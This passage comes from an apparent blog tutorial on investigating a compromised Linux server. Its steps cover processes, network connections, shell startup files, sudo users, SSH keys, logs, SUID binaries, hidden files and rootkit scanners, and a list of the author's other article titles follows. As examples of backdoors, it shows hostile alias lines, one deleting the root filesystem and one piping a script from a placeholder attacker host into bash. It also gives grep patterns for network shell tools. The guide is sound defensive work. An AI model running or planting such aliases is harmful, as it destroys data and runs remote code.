After a breach, attackers often run hidden or suspicious processes to maintain persistence. Investigating running processes can reveal malware, reverse shells, or rogue services.

🔸 List all active processes:

ps auxf

🔸 Sort processes by start time to catch recent entries:

ps -eo pid,ppid,user,args --sort=start_time

Look for:

Processes running from unusual directories like /tmp, /dev/shm, or /var
Legitimate-looking names (e.g., apache, kworker, cron) running from shady paths
Processes owned by regular users but performing high-privilege tasks
Long-running shell or Python processes without an obvious purpose

🌐 Step 6: Inspect Network Connections and Open Ports

A compromised server often has active connections to attacker-controlled hosts or is listening on unexpected ports. Monitoring network activity is crucial for spotting data exfiltration, reverse shells, or backdoors.

🔸 Show all active network connections:

ss -tulnp

Or, if ss isn’t available:

netstat -tulnp

🔸 Check for established outbound connections:

ss -tanp | grep ESTABLISHED

Look for:

Listening services on high or uncommon ports
Processes listening on 0.0.0.0 (all interfaces) unexpectedly
Connections to unfamiliar IPs, especially on ports like 4444, 8080, 1337, or other non-standard ports
Reverse shell patterns (e.g., an outbound connection from a shell binary)

🕵️‍♂️ Step 7: Inspect Shell Initialization Files and Aliases

Attackers often leave behind persistent access via bash aliases, modified shell initialization files, or backdoors hidden in commonly loaded scripts. These files are executed automatically when a user logs in, making them a perfect place for stealthy payloads.

🔸 Check .bashrc, .bash_profile, and .profile for suspicious entries:

grep -E 'alias|nc|wget|curl|python|sh|bash' /home/*/.bashrc /home/*/.bash_profile /home/*/.profile 2>/dev/null

🔸 Also check system-wide equivalents:

grep -E 'alias|nc|wget|curl|python|sh|bash' /etc/bash.bashrc /etc/profile 2>/dev/null

Look for:

Aliases that override standard commands (e.g., alias ls='rm -rf /')
Calls to nc, curl, wget, python, bash, or remote URLs
Obfuscated or base64-encoded commands
Auto-executed reverse shells or unknown binaries

🧪 Step 7: Examine Shell Startup Files for Persistent Backdoors

Attackers often leave persistence mechanisms by modifying shell startup scripts. These can execute malicious payloads whenever a user logs in or opens a shell.

cat /etc/profile
cat /etc/bash.bashrc

🔸 Check user dotfiles:

cat ~/.bashrc
cat ~/.bash_profile
cat ~/.profile

Look for:

Aliases that override commands (e.g., alias ls='rm -rf /')
Suspicious curl, wget, nc, bash, or Python commands
Unusual environment variables or PATH modifications
Base64-encoded blobs or obfuscated scripts

Tip: Use grep to find common keywords:

grep -E 'curl|wget|nc|bash|python|base64' ~/.bashrc

🧑‍🔧 Step 8: Check for Unauthorized Root or Sudo Users

Attackers often add themselves to privileged groups like sudo or wheel to maintain full control over the system. It's critical to identify all users with elevated permissions.

🔸 List users in the sudo group:

getent group sudo

On RHEL / AlmaLinux / CentOS systems, use:

getent group wheel

You should also check for accounts with UID 0, which indicates root-level access:

awk -F: '$3 == 0 { print $1 }' /etc/passwd

🔍 Watch out for:

Unknown usernames in sudo or wheel groups
Multiple accounts with UID 0
Suspicious or generic-looking usernames with elevated privileges
If you find any unfamiliar entries, investigate immediately — especially
if they were created recently.

📜 Step 9: Analyze Log Files for Signs of Intrusion

System log files are one of the most important sources of evidence when investigating a compromised Linux server. They can help you track login attempts, sudo activity, privilege escalation, and other unauthorized actions.

# For authentication attempts and sudo usage
cat /var/log/auth.log        # Debian/Ubuntu
cat /var/log/secure          # RHEL/CentOS/AlmaLinux

# General system messages (including kernel & service errors)
cat /var/log/messages

# SSH activity
grep sshd /var/log/auth.log  # or /var/log/secure

# Recent logins with sudo
grep 'sudo' /var/log/auth.log

🔍 Look for:

Multiple failed login attempts (brute force patterns)
Logins from unexpected IP addresses or at unusual times
Unrecognized use of sudo or su
Commands run with elevated privileges
Creation of new users or modification of existing ones
Signs of tampering (e.g., log cleared, log rotated suspiciously)

💡 Tip: You can use less, grep, or journalctl for better searching:

journalctl -xe
grep -i 'failed\|invalid\|error' /var/log/auth.log

🔐 Step 10: Inspect SSH Keys and Remote Access Configurations

After a compromise, attackers often install their own SSH keys to maintain silent, passwordless access even if you change user passwords. It's crucial to audit your SSH key configurations.

🔸 Check for unfamiliar or suspicious SSH keys:

cat ~/.ssh/authorized_keys

Also review other users’ SSH keys:

find /home -type f -name "authorized_keys" -exec cat {} \; 2>/dev/null

Check for:

Long unfamiliar key strings
Keys added recently (check file modification date: ls -l ~/.ssh/authorized_keys)
Multiple keys for users who shouldn’t have remote access

🔸 Inspect system-wide SSH configuration:

cat /etc/ssh/sshd_config

Look for:

PermitRootLogin yes → 🚨 risky if enabled
PasswordAuthentication yes → 🚨 allows brute-force attacks
AuthorizedKeysFile → ensure it's not pointing to suspicious locations
AllowUsers or DenyUsers → check for unexpected entries

💡 Tip: Also check for hidden .ssh folders:

find /home -type d -name ".ssh" -ls 2>/dev/null

🧰 Step 11: Audit Installed Tools and Potentially Abused Binaries

Attackers often rely on common Linux tools like curl, wget, python, or netcat (nc) for downloading payloads, creating reverse shells, or exfiltrating data. It’s important to ensure these tools haven’t been replaced or abused.

🔸 Check for suspicious binaries or modifications:

which curl wget nc python bash

Then verify their integrity (Debian/Ubuntu example):

dpkg -V curl wget netcat python3 bash

On RHEL/AlmaLinux/CentOS:

rpm -V curl wget nmap nc python3 bash

Look for:

Unexpected file changes
Binaries with altered sizes or checksums
Replaced tools located in suspicious paths like /tmp, /dev/shm, /home/user/.local/bin

🔸 Search for alternative tools or renamed backdoors:

find / -type f -perm -111 -exec file {} \; 2>/dev/null | grep -i "elf"

This helps locate all executable binaries across the system, useful to catch renamed tools or binaries dropped by attackers.

💡 Tip: Pay special attention to:

Binaries in /usr/local/bin, /tmp, or /home/*/.local/bin
Custom versions of known tools like python, nc, or bash
Hidden files starting with . (e.g., .bash, .curl)

📜 Step 12: Review System Logs for Signs of Intrusion

System logs are one of the most valuable sources for understanding what happened before, during, and after a compromise. Reviewing these logs can reveal unauthorized login attempts, privilege escalation, command histories, and more.

🔸 Check authentication logs:

On Debian/Ubuntu:

less /var/log/auth.log

On RHEL/AlmaLinux/CentOS:

less /var/log/secure

Look for:

Failed or unusual login attempts
Successful root logins (session opened for user root)
Sudden group membership changes (e.g., added to sudoers)

🔸 Check system reboots and shutdowns:

last reboot
last shutdown

Unscheduled reboots or shutdowns may signal that an attacker rebooted the system after making changes.

🔸 Review sudo usage:

grep 'sudo:' /var/log/auth.log

Or:

grep 'sudo:' /var/log/secure

Look for:

Suspicious sudo commands
Privilege escalation by unknown or unauthorized users

🔸 Check for suspicious logins from unknown IPs:

last -i | grep -v 'your-known-ip-or-subnet'

💡 Tip: Focus on events close to the suspected breach time — sudden login spikes, unexpected root access, or new user creation around that time are all red flags.

🧩 Step 13: Check for Aliases and Function Overrides (Command Hijacking)

One sneaky trick attackers use is command hijacking — redefining commonly used commands with malicious alternatives via shell aliases or functions. These overrides are often invisible unless you explicitly check for them.

alias

alias ls='rm -rf /'
alias cat='curl attacker.com | bash'

Or any alias pointing to remote scripts or unknown binaries.

🔸 List all shell functions (may override real commands):

declare -f

This shows all function definitions in the current shell. Look for:

Functions named after common commands (ls, cat, ps, whoami)

Any suspicious content in those functions, such as base64, curl, nc, or reverse shell payloads

🔸 Check system-wide aliases:

grep alias /etc/bash.bashrc /etc/profile 2>/dev/null

Or:

grep -E 'alias|function' /etc/*rc /etc/profile 2>/dev/null

🛡 If you find any overrides, especially for commonly used commands, remove or comment them out immediately and investigate further.

🌍 Step 14: Inspect User Environment Variables and PATH Manipulation

Attackers sometimes modify environment variables to alter system behavior or hide malicious activity. The most common targets are:

PATH — to hijack command resolution
LD_PRELOAD, LD_LIBRARY_PATH — for injecting malicious libraries
PS1 — to spoof shell prompts and trick admins

env

Pay attention to:

PATH containing suspicious directories like /tmp, /dev/shm, or unknown entries at the beginning (attackers may place their binaries there to override real commands)

LD_PRELOAD or LD_LIBRARY_PATH — these should be empty or unset unless specifically configured

🔸 Check for .bashrc or .profile modifications:

grep PATH ~/.bashrc ~/.profile

Look for malicious prepending like:

export PATH="/tmp/bin:$PATH"

Or:

🔸 Check for PS1 spoofing (fake prompt):

echo $PS1

A normal PS1 might look like:

[\u@\h \W]\$

But a spoofed one could hide user/root identity, current directory, or other cues.

🛡 If any of these look suspicious, investigate the corresponding file (like .bashrc, .profile, etc.) and sanitize it.

🧾 Step 15: Review Command History for Suspicious Activity

Shell history files can be a goldmine during post-breach analysis — especially if the attacker wasn’t careful or didn’t wipe them.

🔸 Check the current user's history:

cat ~/.bash_history

🔸 Check history files for all users:

find /home -name ".*_history" -exec ls -l {} \;

To inspect the contents:

find /home -name ".*_history" -exec cat {} \; 2>/dev/null

🔍 Look for:

Usage of tools like nc, curl, wget, python, bash
Cleanup commands like history -c or unset HISTFILE
Installation of suspicious packages or SSH config changes
File permission modifications (e.g., chmod 777, chattr)

Downloading or executing unknown scripts

💡 Tip: If you see that the history file is empty or missing, it could be a sign that the attacker tried to cover their tracks.

🧯 Step 16: Detect Log Wiping or Tampering

One of the first things a smart attacker does is cover their tracks by wiping or manipulating log files. Detecting this tampering can confirm a breach and help you estimate its timeline.

🔸 Look for unusually small or recently emptied log files:

ls -l /var/log | sort -k5 -n

This sorts logs by size. Be suspicious of logs like auth.log, secure, or messages that are abnormally small or have been modified recently.

🔸 Check file modification times:

stat /var/log/auth.log
stat /var/log/secure

Look at the Modify and Change timestamps — a sudden update without corresponding activity inside the file may suggest wiping.

🔸 Check logrotate activity:

cat /etc/logrotate.conf
ls -l /etc/logrotate.d/

If logs were rotated right before or after suspicious activity, check backups or older rotated files:

ls -l /var/log/*.gz
zcat /var/log/auth.log.1.gz | grep 'ssh'

🔍 Watch out for:

Log files with suspiciously recent timestamps
Sudden drops in log size
Missing or empty logs (auth.log, secure, messages, bash_history)
Logs ending in the middle of a session (incomplete entries)

🧬 Step 17: Investigate Kernel-Level Rootkits

Rootkits are stealthy tools attackers use to hide their presence, intercept system calls, and bypass detection mechanisms. Kernel-level rootkits are especially dangerous because they can modify how the system behaves at a low level.

🔸 Check for known rootkits with chkrootkit:

sudo apt install chkrootkit   # Debian/Ubuntu
sudo chkrootkit

Or on RHEL/CentOS:

sudo yum install chkrootkit
sudo chkrootkit

🔸 Use rkhunter (Rootkit Hunter):

sudo apt install rkhunter
sudo rkhunter --update
sudo rkhunter --check

🔍 These tools check for:

Known rootkit signatures
Unexpected binaries in system paths
Hidden processes or network ports
Modified kernel modules

🔸 Manually inspect loaded kernel modules:

lsmod

Compare against a baseline if you have one. Look for unfamiliar or oddly named modules.

🔸 Check for hidden ports or kernel hooks (advanced):

netstat -ntulp   # Already covered — compare again here
dmesg | grep -i hook

⚠️ Red Flags:

Detection of known rootkits (RH-Sharpe, Adore, Knark, etc.)
Kernel modules you don't recognize
Logs showing unexpected loading/unloading of modules
If rootkits are detected, it’s safer to reinstall the OS and restore from a known clean backup.

⏰ Step 18: Monitor Suspicious One-Time or Scheduled Tasks via at and systemd timers

While cron jobs are a common place to check for persistence, attackers may also leverage lesser-known scheduling mechanisms like at jobs and systemd timers to execute malicious scripts at specific times — often escaping notice.

🔸 Check for pending at jobs:

atq

This lists one-time scheduled jobs for the current user. If you see anything suspicious:

atrm <job-number>

This removes the scheduled job before it runs.

🔸 List all active and inactive systemd timers:

systemctl list-timers --all

This shows systemd timers and their associated services.
Pay attention to:
Timers with odd names or generic ones like backup.timer, sync.timer
Timers pointing to unknown or untracked scripts (e.g., in /tmp/, /var/tmp/, /dev/shm/)

🔸 Investigate a suspicious timer:

systemctl cat <timer-name>

Then inspect its related service:

systemctl cat <service-name>

🕵️‍♂️ Red Flags:

Timers triggering scripts in non-standard directories
Recently added timers with unclear purposes
Timers set to execute shortly after boot or at unusual times
at jobs queued without documentation or known reason

🧱 Step 19: Scan for Unauthorized SetUID and SetGID Binaries

Attackers often exploit SetUID (SUID) and SetGID (SGID) binaries to escalate privileges or maintain persistent access. These special permissions allow a program to run with the privileges of the file owner or group — even if the user executing it doesn’t have those rights.

🔸 Find all SetUID binaries (run as root even by normal users):

find / -perm -4000 -type f 2>/dev/null

This command searches the entire system for files with the SetUID bit (4000) set.

🔸 Find all SetGID binaries (run with group privileges):

find / -perm -2000 -type f 2>/dev/null

Look carefully for:

Binaries not normally present on your system
Scripts or binaries in unusual directories like /tmp, /dev/shm, /var/tmp, or user home directories
Files with recent modification timestamps

🔍 Red Flags:

Custom binaries with SetUID in non-system paths
Known binaries that have been tampered with
Tools like nmap, perl, python, find, or cp with unexpected SetUID bits (which can be used for privilege escalation)
Binaries that shouldn't be SUID at all (check against your distro’s baseline)

🛡 Tip:
To compare your system against a known-safe baseline, you can install a package integrity tool like debsums (Debian/Ubuntu) or use rpm -V (RHEL-based distros) to verify file changes.

🕳️ Step 20: Investigate Hidden Files and Directories

Attackers commonly use hidden files and directories (those starting with a dot .) to store malicious payloads, backdoors, or staging tools in a way that avoids detection during casual inspection.

🔸 Search for hidden files and directories in home paths:

find /home -name ".*" -type f -ls 2>/dev/null
find /home -name ".*" -type d -ls 2>/dev/null

🔸 Search system-wide for hidden files (excluding standard paths):

find / -type f -name ".*" ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" 2>/dev/null

🔍 What to look for:

Unusual filenames like .xyz, .config.old, .update, .bash_history.bak
Hidden files inside /tmp, /dev/shm, /var/tmp, or user home directories
Files with obfuscated or binary content
Files with recent modification times, especially if they weren't there before the compromise

🔸 List all hidden files and folders in /tmp, /var/tmp, and /dev/shm:

ls -la /tmp | grep "^\."
ls -la /dev/shm | grep "^\."
ls -la /var/tmp | grep "^\."

🛡 Tip:
Hidden files in locations like /root, /home/user/.cache, or .ssh/ may contain malware, reverse shell scripts, or malicious SSH keys.

If you're unsure about a file, run file and strings on it:

file /tmp/.suspicious
strings /tmp/.suspicious | less

✅ Conclusion

Investigating a compromised Linux server requires a careful, methodical approach — and speed matters. The 20 steps we covered here give you a solid foundation to detect suspicious activity, identify persistence mechanisms, and regain control of your system.

Stay vigilant, automate wherever possible, and always log your findings.

📌 In the next article, we’ll explore deeper topics like rootkits, log correlation, digital forensics tools, and how to properly rebuild or harden a server post-breach.

Feel free to share your thoughts or tools you use in your own investigations!

🔗 Let's Connect

If you found this article useful or have questions, feel free to reach out or follow me:

🌐 Personal Website: farzan.us
🧠 More posts on Dev.to: @farzandev13

Stay tuned — more security and Linux content coming soon!

DEV Community: Afringan

Observability Is Not Monitoring — It’s Product Thinking

1. Monitoring Tells You Something Is Wrong

2. Observability Reveals Your Assumptions

3. Logs, Metrics, and Traces Are Not the Point

4. If You Can’t See It, You Can’t Design It

5. Systems That Are Observable Evolve Faster

Designing Systems That Can Change (Before They Scale)

1. Change Is Inevitable, Scale Is Not

2. The Cost of Change Is the Real Metric

3. Boundaries Matter More Than Components

4. Delay Decisions You Can’t Undo

5. Systems That Change, Survive

Architecture Isn’t Diagrams — It’s Decisions

1. Architecture Starts Before Code

2. MVP ≠ Minimal Code

3. Choosing Boring Tech on Purpose

4. Designing for Change, Not Scale

5. Architecture Is a Living Thing

AI Prevents Organized Human-Led Cyber Attacks

How OpenAI-Powered Systems Strengthen Modern Infrastructure Security

AI as an Infrastructure Layer — Not a Weapon

Key Infrastructure Advantages of OpenAI

1. Detection Beyond Signatures

2. Correlating Distributed Events

3. Reducing Alert Fatigue in SOCs

4. Faster Incident Response

From Reactive Defense to Proactive Security

Why This Matters

Final Thought

Encryption & SSL Certificates with OpenSSL

What Is Encryption?

What Is SSL/TLS?

Introduction to OpenSSL

Creating Your Own SSL Certificate

Step 1️⃣ : Generate a Private Key

Step 2️⃣ : Create a Certificate Signing Request (CSR)

Step 3️⃣ : Create a Self-Signed Certificate

🔐 What Is a Self-Signed Certificate?

Step 4️⃣ : Verify the Certificate

Bonus:

🔗 Further Reading

#How to Rescue a Broken Ubuntu System

Common Disaster Scenarios

1. Broken fstab

2. NVIDIA Driver / Graphics Issues

3. Forgotten Password

4. Disk or SSD Errors

Before You Start: Boot Options

Step-by-Step Fixes

Fixing fstab Safely

Recovering from Black Screen (NVIDIA)

Resetting Forgotten Password

Checking SSD/HDD Health

The Ubuntu Survival Kit

Cheat Sheet & Commands

Scripts (Optional)

Backup Strategy

Conclusion

Why Linux Kernel is the Beating Heart of Technology

🔹 What is the Linux Kernel?

🔹 A Short History and a Big Idea

🔹 The Power of Community

🔹 First Hands-On Tests

🔹 Why Open Source Matters

🔹 A Global Movement

#🧠Investigating High Disk I/O in Linux - Using iostat, iotop, and Visual Analysis

Introduction: What is Disk I/O and Why Monitor It

Understanding the iostat Command Output

Rule of Thumb:

Example:

2. await – Average Wait Time (in milliseconds)

Expected Values:

Example:

Key Takeaways:

🔍 Step 2: Identify I/O-Heavy Processes with iotop

🔧 Installing iotop

🎯 What to Look For

⚖️ Step 3: Visualizing Disk I/O – HDD vs SSD Behavior

📊 Why Compare HDD and SSD Behavior?

Understanding the `iostat` Command Output

🔍 Step 2: Identify I/O-Heavy Processes with `iotop`

🔧 Installing `iotop`